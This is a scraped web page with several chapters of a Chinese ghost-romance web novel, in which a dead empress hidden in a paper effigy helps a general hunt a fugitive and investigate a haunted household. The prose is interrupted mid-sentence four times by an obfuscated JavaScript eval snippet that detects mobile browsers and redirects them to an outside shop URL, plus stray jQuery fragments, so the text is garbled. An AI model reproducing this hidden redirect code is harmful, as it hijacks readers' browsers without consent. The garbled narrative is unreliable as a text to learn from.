顾昔潮仰首,眼底发青,黯淡的目光遥望着深邃的静夜,像是想起了什么,微微出神。 趁着他失神的当口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280955|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈今鸾飞速给赵羡使了一个颜色。 按照剧本,该走第三步了。 赵羡一身冷汗浸透了道袍,他闭起了眼,一甩拂尘,口中又念了一段无名的咒语,忽然朝着供桌躬身大拜,道: “恭喜将军,我已召来另一位鬼娘子的魂魄,她愿助你一臂之力。” 顾昔潮没有作声,只是回应。 他越是沉默,沈今鸾越是看不透。 这短短几息的沉默里,她如坐针毡,透明的手扯了扯一旁赵羡的袖口,小声问道: “他为什么不说话?” 赵羡自然也不明就里,只得硬着头皮再问一遍: “大人可需贵人相帮?” “不必。” 顾昔潮终于开口,却是一句拒绝。 他立在破旧的帘幕之下,纵使身姿英挺如松,总有若有若无的疲态。 听他拒绝,纸人里翘着二郎腿的沈今鸾傻眼了,再也笑不出来。 她和顾昔潮自小相识,那么多年,无论为友为敌,他的秉性脾气,心思手段,她一清二楚。 她缜密布局,谋算他每一步的举动,打消了他的顾虑,甚至都算到了他恨不能让她魂飞魄散。 然而,他却在她精心谋划的最后一步,偏离了她预设的套路。全然出乎她的意料,也并不符合他一向的秉性和习惯。 “为什么?”沈今鸾百思不得解,盯着他的背影,小声地自言自语道,“难道不想找到那个逃犯吗?” 晃动的帘幕渐渐停了下来。帘幕一侧,那道高大清瘦的人影转过身来。 顾昔潮开口,声线端严低沉: “想。哪怕上通神明,下问鬼魂,我也定要找到此人。” “但……”男人暗沉的视线亮起一丝明光,最后定焦在太师椅上孱弱的纸人,道,“人鬼殊途,此事与你无关,鬼魂理应早日去往生,以免魂飞魄散。” 赵羡瞪大了双眼,最先反应过来,顿时毛骨悚然,凝成霜的冷汗都淌了下来。他不敢再出声,藏于袖中的手拼命地朝沈今鸾做手势,甚至还轻轻扯了扯纸人背后的符纸。 沈今鸾眼皮抬也不抬,忽略了赵羡的拉拉扯扯,自然也没看到他已吓得步步后退,最后干脆躲到帘幕后面的义庄里去了。 只剩一人一鬼的正堂里,她在纸人里直视着顾昔潮,理直气壮,照常怒骂道: “我魂飞魄散,又关你底事?我现在不好好的吗?” 她一口气把话说完,才发现了一丝不对劲。 夜色深沉,微弱的烛火轻轻摇晃,男人的面容一如既往的冷峻,声色却难得柔和了些许: “确不关我事。但你看起来,并不好。” 恍惚间,沈今鸾只看到他削薄的唇微微一动,声音如若幻听。她登时如五雷轰顶,不敢置信地道: “他他他……他是在和我说话?” 一回头,赵羡已不见了,早就吓跑了。 她迫使自己抬起头,空荡荡的目光慢慢往上移。 男人浓黑渊深的目光毫无偏差地落在她眼中,无可奈何之中又带着一丝不易察觉的隐忍。 四目相对,沈今鸾猝不及防地一怔。她感到那不存在的心口狂跳不止,心惊魄动,就差要魂飞魄散了。 “你,能看见我?” 顾昔潮垂眸,稍一犹疑,点了点头。 10. 香火 沈今鸾精心谋划的步骤全乱了。 如果先前她能预见到这一刻,她定不会设计一步一步招惹顾昔潮。 此时此刻,她环顾四周,赵羡早已跑得不见踪影,只剩她一人来应对顾昔潮这一尊煞神。 男人正静立在正堂的阴影里,英挺的背影竟像是一座山头,沉沉地向弱不禁风的纸人压了过来。 纸人里的沈今鸾无路可退,无处可遁,紧紧掐住了指尖,攥得纸皮糊的袖口都皱起来。 她不禁低头看了看身下烂稻草一般的纸人。 竹篾扎骨,浆糊连筋,彩纸作皮。一双没有瞳仁的眼,还画得一高一低,一大一小。只勉强有个人样,可谓是长得十分潦草且寒碜。 昔日的大魏皇后沈今鸾眉目如画,珠环翠绕,入主后位之时,容色艳若春桃,冠绝阖宫。 而她此时藏在纸人里的魂魄,蓬头垢面,几绺散乱的乌发掩住惨淡病容。消瘦不堪的身上,是死时病榻所着的寡白罗衣,袖口还不知何时沾染了斑斑血迹。 与生前的沈今鸾,天差地别。 顾昔潮就算看见了她的鬼魂,也不可能认出来她的吧? 如此作想,沈今鸾心中既是悲哀,又稍舒一口气。 说起来,顾昔潮今时今日这副落拓潦倒的模样,完全就是拜她当年的毒计所赐。如果认出是她,怎会如此镇定自若? 这几日她看得分明,顾昔潮对至亲同族都赶尽杀绝,毫不留情,又会如何放过与他半生为敌的她呢。 到底生前是执掌中宫多年的皇后,沈今鸾冷静下来,便试探着问道: “你,知道我是谁?” 顾昔潮覆手在背,没有再看着她,而是不痛不痒地反问道: “那你可知我是谁?” 他把问题抛还给她,不透露任何信息。简单一句,问得她一时骑虎难下。 沈今鸾不动声色,脑中在飞快地思索。到底是一问三不知,绝不给他留下把柄,还是答应下来,且进且退,继续套他的话。 决不能露怯。她太熟悉顾昔潮这个人了。一旦她心生退意,被他发现一丝一毫的端倪,她拙劣的谎言在他敏锐的反击之下必将不攻自破。 自十三岁孤身入京,从遥远北疆来到繁华名利场之后,“决不露怯”早已成为刻在她骨子里的习惯。 就算让顾昔潮知道她是谁,又有何妨?她死都死了,一缕魂魄都差点消散,也再没什么好失去的了。他又能拿她的魂魄如何? 如今她连魂飞魄散尚且不惧,还会怕区区一个流落北疆,被折断了羽翼的顾昔潮。 如此作想,沈今鸾肩上沉重之感消弭,她笑了笑,自然而然地回答道: “民女自然是认得顾将军的。” 闻言,顾昔潮抬眼,瞥了过来,目光深沉难测。 沈今鸾顿了一顿,继续顾自道: “我是北疆人,一直久仰顾将军战神大名。得知将军在追那要犯,我虽为鬼魂,也想助将军一臂之力。” 这一通马屁,沈今鸾心不甘情不愿,几乎是咬着牙说出来的。 她给自己安了一个不会出错的身份。她确实认得顾昔潮,也确实是北疆出生,同样也是给鬼相公配过阴婚的十九名女子之一。 半真半假的谎言,最易骗过最毒辣的慧眼。无论顾昔潮再问什么,她都能对答如流。最后,更是巧妙地将话题从她转到了那个要犯身上。 她深信,相比她无关紧要的身份,顾昔潮对那个人的下落定是更为看重。 顾昔潮倒是颇具耐心,静静地听着她一通鬼话连篇,其间,浓眉似乎不易察觉地挑动了一下。 他并未再追问什么,恢复了一贯淡淡的神色,似是接受了她这套说辞,又像是不欲和她再周旋。 这下,轮到沈今鸾气不过,忍不住反诘道: “呵,你既然一早能看见我,为何不坦诚相告?” 这是讽刺他为人一点也不光明磊落了。一直在暗地里偷听人墙角,算什么英雄好汉。 顾昔潮默然,他沉郁的影子投在破败的墙上,不动如山。他静静地看着她,目光空茫,极为平静且严肃地道: “我从前,不信鬼神……” 端肃的语气竟有几分犹疑。 沈今鸾嗤了一声,差点笑岔了气。 顾昔潮这人自小奉儒至上,要接受这世间确有鬼魂一事属实不易。 想到这么一个沉闷庄重,一板一眼的人,几经转圜才敢确认,不得不推翻毕生所执信念,才开口与她对话,她顿觉解气不少。 她扬了扬眉,道: “我为鬼魂,可通幽冥,能知晓那名要犯的下落,定会相助将军寻回此人。” 顾昔潮神色不变,眼帘微垂,遮住一半的眸光,显得漠视一切,还有一丝淡淡的疲倦。 “我不需要。” 一抹疏朗月色漏了进来,他一身沉黑,微微拂动的袍角在清辉下旧得发白。 他顿了一顿,又道了一句: “你早日去往生,不必流连尘世。” 竟像是微微笑着,轻叹了一声。 沈今鸾诧异一怔。 他的话,令她心头涌起一股难以言喻的滋味,张了张口,想要说些什么却始终说不出来。 只是眼睁睁地顾昔潮已背转身,推开了正堂紧闭的大门。寒风苍凉,他的背影在清辉里动了动,像是将要淡入寂寥的夜色之中。 “你就这么放弃了?不追了?” 身旁传来一声轻笑。 “那个逃犯害得我们都要嫁给鬼相公,我们本来还指望着你为我们报仇呢。” 又是一声轻笑。供桌之上,一阵阴风吹来,香火来回晃动,一排排灵位之间,一缕缕烟气熙熙攘攘,像是挤满了人影。 “切,若我的相好能看见我的魂魄,定会想尽办法为我报仇的……” “方才,我们跟你说了那么多,都白费了么?” “唉,我死得好惨,报不了仇,都不能去轮回。” 香火缭乱,灵位之间,十九位鬼娘子幽幽飘动,絮絮私语。 沈今鸾心头一振。 追杀逃犯,并非她一人之恨,更是所有被迫阴婚的女子之恨。 她情不自禁朝着男人离去的背影喊了一声: “顾昔潮!” 出乎意料,顾昔潮停了脚步,身影定在门口。她似是看到了一丝希望,只恨自己困在纸人里无法动弹,朝他大喊了一句: “你可知,蓟县所有阴婚的女子,都是如何被选中的?” 男人这才迟钝地回过头来,目光无声无息地扫过来,像是想听一听她要说什么。 沈今鸾深吸一口气,接着道: “蓟县数百年来以宗族治家,族老从每家每户的女子中抽签,只要中了签的女子,无论出嫁,无论生死,都要来献给鬼相公作为鬼妻。” “然而,谁家都不愿意自家女儿媳妇被抽中,于是,就有人拿钱买通,让这个名额不要落在自家头上。那么,最后选中的,大多是家贫无依的孤女。” “这些孤女,有的是还没死时,就被夫家娘家抛弃,被迫赴死,定下了和鬼相公的亲事!” 这是她方才为了鬼相公一事,求助灵位上的鬼娘子们,她们一一说予她听的。一场场阴婚背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280956|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的故事,字字泣血。 从前只听闻人牙子买卖妇女,这阴私勾当现在竟连女子的魂魄都不放过。 这些女子活着不仅要为夫家做牛做马,还未死时都已被家里卖给鬼相公配阴婚。 沈今鸾听得魂魄发颤,不由想到了自己。 当年,她也是一介孤女,虽是为了家族荣辱而嫁给元泓,却也真心实意地为他好,与他共患难,以为夫妻一体。可到头来,她为元泓厌弃,成了孤魂野鬼,连归处都没有。 哪怕曾贵为一国之后,她与蓟县这些女子的命运也并无分别。 此时,沈今鸾银牙咬碎,魂魄径直从太师椅上立了起来。 阵风吹拂她血迹累累的衣袖,红得似要滴血。恍若依旧是当初金銮殿上,那藐视群臣的皇后娘娘。 “我们从无选择,只能走投无路地死去,死后成了孤魂野鬼,有家不得归,尸身下不了葬,没有人供奉,没有香火为食,几近魂飞魄散,何其无辜!……” “一切的始作俑者,就是要借鬼相公逃往关外的那批人。” 她扬起了透明的双臂,仿佛要将身后其余十九座灵位一道揽入其中,成为她最为忠实的拥趸。 这一刻,她眼中再无惧意,盯着顾昔潮,一字一句道: “若不将他捉拿归案,我等心愿不了,是无论如何也无法去轮回转世的。” “还请将军,全我报仇之心。” 一刹那,供桌旁的帘幕大动不止,烛火尽数熄灭。供桌上一排排灵位幽然矗立,虽然不言不语,但不住嗡嗡铮鸣,如同人潮鼎沸,万声附和。 顾昔潮面色无波,底下一只手覆在刀柄上,缓缓握紧起来,青筋且伏且动,骨节暴胀。 他倏然转身,朝供桌走了回来,沉声问道: “你知道逃犯去了何处?” 男人不怒自威的目光扫过来,正坐在太师椅上的沈今鸾感觉就是被审判一般浑身僵硬,像是少时被教养嬷嬷罚坐姿,脊背笔挺要比直尺都直。 她稳了稳心神,不紧不慢地道: “鬼相公将他带走了。只要找到鬼相公,便能找到他。” 她早就从鬼娘子们那里打听过了,对答如流: “城北周家。我知道有过鬼相公的踪迹。” 男人默不作声,投下的阴影在地上渐渐移了过来,直到将太师椅上的纸人全然覆盖。 灯火黯黯,他在纸人身前立定,眼底泛着青灰,有如阴翳,端详着她。 “你方才说,你死后,无香火为食,将要魂飞魄散……”他幽深的目光凝视着纸人,淡淡地道,“倒是让我想起一位故人。” 沈今鸾警惕地看向供桌上的香火,又瞥了一眼顾昔潮。 他长久交覆在背后的双手松了开来,缓缓地转动了一下右手的箭袖,手背瘦长有力,蓄势待发。 沈今鸾端坐不语,攥紧了袖口,心中盘算着若是顾昔潮突然发难,识破她的真实身份,她该如何抗衡,抑或是逃跑。 她已在脑海里想象了一番此地供桌掀翻,香炉砸烂的场景。 谁知,顾昔潮抬起手,只是漫不经心地摘去了香炉里已燃尽的香杆。 而后,他从旁取出三炷清香,在烛焰里灼了一下点燃开来,再轻轻甩了甩。 火星子翻飞,来去之间,顾昔潮已熟练地将三炷香供于纸人面前。 沈今鸾睁大了眼,被迫猛吸了一口他所燃的香火,顿感神识充盈,软飘飘的魂体又有了力气。 她惊呆了。 赵羡说过,唯有至亲至爱,方能为亡魂供奉香火。 非亲非故,顾昔潮为何可以给她上香? 11. 追凶 沈今鸾恍惚了一下。 顾昔潮敬香之时,举止端雅,还有点少年时贵公子的影子。 记忆里白玉一般的一双手,长年握刀,指茧丛生,青筋历历分明,再往上,护臂粗糙破旧,刀痕犹然,身经百战。 沈今鸾皱紧了眉,把头一扬,偏向另一侧,不去看供桌上丰饶诱人的香火。可耐不住那烟气就是寻着了门道似的往她魂魄里钻。 她轻哼一声,嘟囔道: “无功不受禄。顾将军的香火,我可受不起。” 搞不好就是一碗断头饭。 男人并不言语,毫无表情的面容在烟气中显得更加难以捉摸。 趁他不注意,沈今鸾又悄悄滴嗅了一口香气,抿了抿唇,暗地里转过头,“呸呸”两声。 她才不要吃顾昔潮的香火呢。 顾昔潮眸光微动,一手覆在背后,指腹摩挲一下,淡淡地道: “食不果腹,如何有力气寻人?” 沈今鸾一愣,犹疑地确认道: “你……你这是答应了?” “吃饱了,便上路吧。”顾昔潮的声音又低了几分,身上的墨黑大氅一扬。 沈今鸾来不及反应过来,只觉纸人身子一轻。 他将纸人从太师椅上裹了起来,轻轻一提,隔着氅衣将她揽在右手臂弯之中。 “这这这……”沈今鸾吓得结巴,反抗道,“顾将军,我其实自己能走。” 男人腿长步阔,垂眸,瞥了一眼纸人,似笑非笑: “你走得太慢了。” 更何况这纸人并不能走,至多只能算爬。沈今鸾憋了一肚子气,身上的纸皮一起一伏,只能由着他去了。 躲在帘幕后头的赵羡紧张地盯着一人一鬼,时不时揉眼,还以为自己看错了。 本以为这次这纸人又要遭殃了,像上次那样被投入火中还是轻的。 岂料这位从前不信鬼神的顾将军带着纸人,举止小心翼翼,无限温柔,尤其是那一截小臂紧绷,青筋贲张,似在微微颤动。 没想到这差点没命的孤魂,竟能使得大将军如此关照。 真是鬼不可貌相。 赵羡捋了捋下巴那搓稀疏的胡须,又望向供桌上那莫名鼎盛的香火,若有所思。 …… “城北周家世代务农,这一代人丁稀薄,只剩下周贞一名壮年男子,家在蓟县最北侧的小村庄里,贫困潦倒,吃了上顿没下顿。” “自从周家娘子死后被休弃,嫁给鬼相公之后,周家就怪事连连……” “比如,祖宗的灵位上夜半流下了血迹,擦也擦不干;还有,屋子后忽然出现写着男主人周贞名字的墓碑,过一日又不见了;还有周贞那八十老母,夜里突然发现自己睡进了棺材里……” 一路上,沈今鸾将鬼娘子们告之于她的线索一一说来。 “其余的鬼娘子阴婚前后,都未曾见过鬼相公。我们觉得,定是鬼相公只对周家娘子情有独钟,才会一直留在周家。” 蓟县北面环山,夜里山路难行,顾昔潮下马,牵着马步行,幽声道: “你知道的,还不少。” 沈今鸾微微一怔,轻声道: “我是蓟县人,自然无所不知。” 顾昔潮腕上的缰绳玩儿似的松了又紧,漫不经心地道: “十九名蓟县新娘之中,你是哪一位,怎么称呼?” 虽是一句轻描淡写,沈今鸾却心头一紧。 当初交代赵羡那三步之后,其实还有第四步。 “最后一步,顾昔潮心机深重,未必全信。唯有确有其人,方能打消他的怀疑。” 她的目光随意一扫,看到其中一个灵位上死去女子的名字,道: “你记住,招来的魂魄,就是我,名叫孟茹。” …… “孟茹。我叫孟茹。”沈今鸾道。 “孟,茹。”顾昔潮削薄的唇一动,似是在咀嚼这个词,“孟姑娘。” 说多错多,顾昔潮不再开口问,沈今鸾就也不再作声了,唯恐又被他寻了破绽。 二人来到村落最边角的一片荒地里。好几件间石墩围起来的两间茅草屋,是才新砌没几天的墙面,滑溜溜得反光。 栅栏推开,小院里有一片苞米地,看起来已经很久没人打理了,叶子在雪地里烂得发灰。 可另一侧倒是堆满了小山似的谷仓和萝卜,在这小村庄里也算大户了。 院子炭火烧得暖烘烘的,中间一口黄铜锅冒着汽儿,里头煮着新鲜的大白菜和带血的上好猪骨,汤汁浓白,香气四溢。 这周家,全然不像那些鬼娘子说的清贫啊。 正中的屋子虚掩着门,里头一星灯火如豆,偶尔传来几声咳嗽,另一间茅屋门窗紧闭,门檐的梁上悬着一条白幡,上头鬼画符一般涂了几个字。 那白幡又细又短,像是被人扯下来过。若不仔细看,还发现不了。 确实是不久前刚死过人。 屋子门开了,里头走出一个身量不高的中年男子,身躯四肢只剩皮包骨,嶙峋崎岖,却套着簇新的大袄,肚子明显地凸起,皮肉堆叠在腹下,像是刚饱餐一顿出来了,还打着饱嗝,哪有饥寒的样子。 此人定是男主人周贞了。 他见了陌生来人先是一愣,缩了缩脖子,打量着顾昔潮,忽然指着他手里的纸人,大呼道: “鬼!有鬼啊!……” 周贞吓得跌坐在地,神志不清,大呼小叫。屋舍里头很快走出了一个年纪轻轻的村妇,赶紧将他扶了起来,轻轻拍他的后背,为他顺气。 那年轻村妇指着纸人,柔声道: “这只是纸扎的人,不是鬼。你莫怕。” 男人在村妇怀中畏畏缩缩地定睛一看,又很快别过头闭眼,又再小心翼翼地看了一眼,才确认那确实只是个“纸人”。他猛拍心口,呼气道: “这纸人,吓死我了。我当是、是鬼来了呢……” “哪来的鬼啊,没有的。”村妇好声好气地哄着。 不做亏心事,不怕鬼叫门。沈今鸾无语至极,巡视这小小的宅院,没好气地道: “此地确实有鬼。鬼相公要来索你的命来了。” 一进入这院子,她就感到一股鬼气。可是,却和鬼相公那强劲的气息却全然不同,这更像是一股缠绵哀愁的怨气,若有若无,甚至还有几分温和。 周贞好不容易回过神来,看见顾昔潮,以为是谁,忽然勃然大怒道: “你们让我把阿茹休了,去做什么鬼妻给全县人挡灾,我都照办了,你们还来这里做什么?这里不欢迎你们,走走走!……” 北疆守边的顾昔潮,惯常地一身苍青布袍便装,腰悬佩刀,看起来不过是个寻常武人。 那村妇注意到顾昔潮面生,却器宇不凡,只立在那里,冷峻的气势实在强大,并非像是宗族长老派来的人。她不敢得罪,小声问道: “妾姓梁,敢问这位是?” 顾昔潮回道: “顾某并非宗祠中人。听闻府上怪事频发,或许能帮上忙。” 沈今鸾嗤了一声。还帮忙呢,顾昔潮这煞神的气势,看起来就像是抄家的。 梁氏犹疑片刻,先是安抚了乱吼的男人,哄他进入屋内休息。她敛了敛鬓边的碎发,朝着顾昔潮道: “阁下想问什么?我刚嫁过来不久,周家的事,知道的也不多。” 沈今鸾眼一瞥,注意到到梁氏鬓边新打的一支银簪。 妻子才死了不久,竟然这么快就娶了新妇进门,也真是急不可耐。她冷笑一声,搭腔道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280957|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就问她,可有见过鬼魂来索命。” 顾昔潮忽略了她,而是板正地问道: “所谓的怪事,是指?” 梁氏头垂了下去,低眉道: “其实,没多大事,大人请跟我来,一看便知。” 她步入右侧茅屋边的一个石铸的小灶前,蹲下身,从柴火里取出一捧黑糊糊的东西,道: “这一月以来,灶台上总有一碗饭,用的是陈年的米,是馊的,不能吃。许是孩子捣蛋,从别人家偷来的。” 沈今鸾瞄了一眼,挑了挑眉。 有点意思。这种米粒她在赵羡那里见过,分明是供奉死人的那种黏米,饭里还插着三柱香。这梁氏却安之若素,不当回事。 接着,梁氏又将人引去了另一间门窗紧闭的屋子。 屋门一推就开,暗无天日的屋内,霎时扬尘纷纷扬扬。 “这里本是夫君和阿姐的卧房。每日炕上的被子都会被整整齐齐地叠好,但是上面渐渐长出了黑斑,还发臭。是家中贫寒,无闲钱置换新的,年久发霉了。” 门外漏出的光线照亮了沉寂已久的暗处。梁氏随意翻开炕上新买的锦缎棉被,又很快遮了回去。 即便只有短短一瞬,沈今鸾眼尖,一眼看出那簇新的棉絮上斑斑驳驳的黑点。是那种死了很久的人躺过才留下的霉斑,还若有若无地散着一股尸臭。 最后,梁氏指着另一间虚掩着门的屋子,并不邀人入内,而是道: “我婆母常年卧病,不方便见客。她说,曾看到过阿姐的鬼魂伺候她起夜。我和夫君曾等了一夜都没有看到,都道是夜里她眼花做梦了。” 照这位梁氏的说法,这里所有的怪事,倒也不过是机缘巧合,没什么奇怪的。 顾昔潮扫了一眼破败的宅院,突然问道: “那据你所知,上一位周夫人去世前,可有异样?” 梁氏被诘问得猝不及防,有些愣神,匆忙答道: “我所知实在不多。只听闻,阿姐是身体一直不大好。夫君没日没夜地干活撑起整个家,从没让阿姐干过重活。” 梁氏的声音渐渐细如蚊蝇,道: “后来,她越病越重,什么都吃不下,有天喝了药也没救得回来,夜里就去了……” “若是无其他事,妾还有一家老小要照顾,请大人自便。” 语罢,她便掩门进去了。 这破败的屋院还有周家的人,处处透着诡异。尤其是当顾昔潮一问起先夫人,梁氏这是要下逐客令了。 夜色深沉,暗得没有一丝光。 顾昔潮慢悠悠地擦亮了火折子,照见周家四处,鹰视狼顾。沈今鸾眉头微蹙,道: “梁氏看似坦荡,我总觉得她隐瞒了什么。顾将军是觉得,周家娘子之死有异?” 顾昔潮回头看了纸人一眼,道: “嫁给鬼相公的女子,尸首都无处下葬,都停放在义庄。” “当日我查验被鬼相公索命的尸体,看到了那几具女尸,有的面容扭曲,口唇灰白,有的遍布青紫尸斑,死相各异。” 沈今鸾忆起,赵羡曾对她说过,被迫选她做鬼娘子,是因为她“命格特殊”,可以“帮忙”镇一镇鬼相公。 凡是给鬼相公做鬼妻的女子,死相古怪,怨气深重。寻常阳寿已尽之人不会有这般浓烈的怨气。 她沉吟道: “嫁给鬼相公的女子,都不寻常,大多死于非命。那么,周家娘子也定不是病死的罢?” 顾昔潮垂首,没有再巡视光怪陆离的周家院子,而是缓缓地望向了纸人。 他手里摇曳的火光,映在他素来冷毅的脸上,恍若竟有一种柔和的感觉。 “孟姑娘,那你呢,”他眉眼沉静,定定看着她,问道,“你是怎么死的?” 12. 死因 顾昔潮看似问得轻描淡写,可是他的下颌骨绷紧如弓弦,无形之中渗出来的威压,像是迫她回答。 我不是被你毒死的吗?沈今鸾想起临死前那一碗汤药,差点脱口而出。 可她还是强忍住了。 若此刻和顾昔潮旧事重提,当场露了馅,翻了脸,那接下来,她还怎么找鬼相公,找父兄尸骨? 更何况,她现在的身份,只是蓟县的民女,魂魄还在一个破烂纸人里,她还不能在他面前造次。 只得忍耐。小不忍则乱大谋。 于是,沈今鸾敛容,挤出一丝僵笑来,和颜悦色地对他道: “我死得太久了,已不记得了。” 顾昔潮眉峰微皱,眼睫动了一下,沉声道: “不记得了?” 说不好,顾昔潮就在等她露出破绽,一网打尽。可他若是认出了她来,又何必如此惺惺作态? 动辄杀伐的顾大将军无甚必要与她虚与委蛇。 如此作想,沈今鸾稳了稳心神,故作哀叹一声,道: “是啊,全忘了。只记得死后成了孤魂野鬼,无人悼我。过去的伤心事,又何必重提?” 最后几个字眼,几乎是牙缝里压出来的。 “如此,忘了甚好。”顾昔潮轻声道,倒是没有再追问,像是陷入沉思之中,一双黑眸更是深不见底。 沈今鸾轻舒一口气,顿生感慨。 从前曾身居后位,母仪天下,普通人几世都不曾有的荣华富贵不过她眼底烟云。 可这天底下最尊贵的女人,成日忧思惊惧,最后无力回天,甚至连父兄的遗骨都没法入土安葬。 如今成了一缕孤魂,在这个身不能动,手不能提的纸人里头,和那几个鬼娘子为伍,她却觉得一身轻松,难得自在。 只要顾昔潮没认出她来。 “谁在那里?”正在此时,男人陡然转身,朝后院一处角落喝道。 行伍之人,耳力一向灵敏异常。沈今鸾心头一惊,却见黑暗的角落里,杂物丛生,先是滚出一个破布团做的小玩偶。 而后,一双满是泥泞的手将小玩偶抓了回去,在暗处站着不动了。 “贵儿,你怎么在这里?” 先前一直在门缝之中窥伺二人的梁氏忽喊了一声,从屋内疾步走了出来,在角落里扯出一个总角年纪的男童。 男童紧紧抱着破布小人,小脸上脏兮兮的满是雪渍,似是刚在雪地里打过滚。大冬天只戴着一顶棉帽,穿了一件短打上衣,打着好大一块补丁,青灰色的棉絮都漏了些许出来。 在这个全然一新的富贵家中,他着实显得寒酸,格格不入。 那便是周家幼子周贵了。 周贵不情不愿地被梁氏硬拖出来,大声道: “我就要在这里,阿娘会陪我说话。” 梁氏面色骤变,低声斥道: “小兔崽子你再胡说!” 骂了一句,她收了声警惕地左看右看,才缓下声来: “你在说些什么呀……” 男孩想要挣脱她,干脆大哭了起来: “你不是我阿娘。我要和我阿娘在一块儿。” 梁氏从怀里掏出一颗白糖,在袖上擦了擦,递给男孩,道: “这里脏,去外边玩罢。” 男孩见了糖眼前一亮,破涕为笑,接过糖含在嘴里,欢快地跑了出去。 梁氏见人走远了,不好意思地朝顾昔潮笑笑,平淡地道: “这孩子自阿姐去后太过伤心,经常胡言乱语的,让大人见笑了。” 顾昔潮不语,拎着纸人衣襟走向了木栅栏边玩雪泥的男童。他在男童面前半蹲下来,问道: “你近日见过你娘?” 男童双眸明澈,点了点头,却又很快将头摇作拨浪鼓似的。 这到底是见没见过啊?沈今鸾蹙着眉,忽然想到,她的魂魄死后回到了故土北疆,而方才在供桌上给她指路的那几个鬼娘子之中,并无周家娘子的鬼魂。 周家娘子的魂魄,去了哪里? 顾昔潮并不心急,从腰间一锦袋里取出一颗饴糖,放在掌心,递给了男童,又问道: “你在何处见过你娘?” 男童望着芳香诱人的饴糖,舔了舔嘴唇。他眼中流露出渴望,可还是后退一步,摇了摇头,小声道: “阿娘说过,不能告诉别人她在哪里,会有人将她捉去,我就再也见不到她了。” 顾昔潮沉默地端详着男童,浓黑的眉眼如染一层阴翳。 他摊开男童的小手,将那一颗饴糖放在他的掌心,握着他的手攥紧。而后他也不再追问什么,便转身离去。 沈今鸾见他无功而返,冷笑一声,得意地略一扬眉,将她猜到的实情说了出来: “留在此处作祟的,根本并非是鬼相公,而是死去的周家娘子。” 顾昔潮凝视了一会儿许久没生火积了一层灰的灶台,时不时传来咳嗽声的屋内,目光最后落在雪地里天真烂漫的男童身上。 “你可知,她为何没走?” 沈今鸾一怔,没能接得上话。 顾昔潮眸光低垂,淡淡地道: “她留在此处,便是震慑。” 沈今鸾沉默片刻,道: “难道她是死前就知道周贞定会再娶?她生怕后母无能,照料不好家中,还会虐待她的幼子。蓟县人迷信,只要她的鬼魂在此,偶有出现,作为震慑,这家人便不敢肆意妄为。” 是了,能出卖死去妻子魂魄的人,还能对他有什么期待呢?只可怜幼子丧母,何其无辜。 阴冷的北风吹动茅草屋,断了一截的白幡柔弱无依,被刮得凌乱飞舞,飘在檐角有如撕裂一般。 白幡所拂动的不远处,似乎传来一声极为微弱的响动。 那似有似无的鬼气稍纵即逝,沈今鸾当即对顾昔潮令道: “去灶台那头。” 纸人脚不能行,身不能飘,一路全靠男人身高腿长,为她驱使。 顾昔潮没什么表情,似是习以为常,提起了耀武扬威的纸人,往那处走去。 纸人不过才到男人半身高,视线只能平视矮小的灶台。沈今鸾又朝男人令道: “你,给我举高点,太暗了我看不清。” 顾昔潮:…… 纸人被提到了灶台面上。他取出火折子点燃,为她打起了光。 沈今鸾自从困在纸人里之后,尤为怕火,魂魄下意识地瑟缩了一下。 没有想象中的炙热,只见那火折子的焰光转瞬已升至高处,仿佛远在夜空天边。 是顾昔潮将火折子举过了头顶。他身量本就极高,火焰如此便与纸人相隔很远,不会再烧着她,却照亮了整一片灶台。 亮堂堂的火光照耀之下,沈今鸾安下心来,凝神细看,终于在角落里寻到一块碎裂的瓷片。 看起来,这几片瓷片像是一只碗的部分。就是寻常人家用来吃饭喝水那种常见的普通瓷碗。 她伸出透明的手,指尖试探着轻轻触了一下光滑的瓷面,却如灼伤一般缩了回来。 瓷片登时发出震颤的“嗡嗡”声,瓷面折射的光竟像是在抽搐。 沈今鸾叹了口气,低声道: “周家娘子的三魂七魄,有一魂一魄就在这瓷片之中。” 顾昔潮看了一会儿,转身疾步离开了灶台。不消片刻,他再回来的时候,手中多了两块相似的碎瓷。 这三块瓷片分别在灶台上,长满尸形霉斑的被窝中,还有男童玩耍的后院墙角里,都是周家发生怪事之处。 沈今鸾凝视着这形状各异的瓷片,灰白的瓷面映出纸人一身妖冶的血红,晕开的微光之中,可见渐渐凝结而成的残魂。 可一个人死后的魂魄,怎会四分五裂在瓷片之中呢? 还少最后一片,这只瓷碗便能最终复原。那最后一片,就在那声称在夜里见过周氏魂魄的婆母那儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 